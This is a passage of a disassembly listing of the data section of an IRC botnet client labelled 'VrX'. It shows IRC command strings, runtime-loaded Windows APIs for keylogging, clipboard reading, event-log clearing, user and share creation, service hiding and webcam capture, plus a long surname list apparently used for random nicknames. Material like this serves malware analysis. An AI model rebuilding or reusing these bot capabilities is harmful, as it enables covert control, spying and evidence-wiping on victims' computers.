dword_42CCC0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCC8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCDC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CCFC	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD50	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDBC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDC4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6C4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D854	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D884	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8B4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8D8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D91C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D920	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D99C	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9A8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
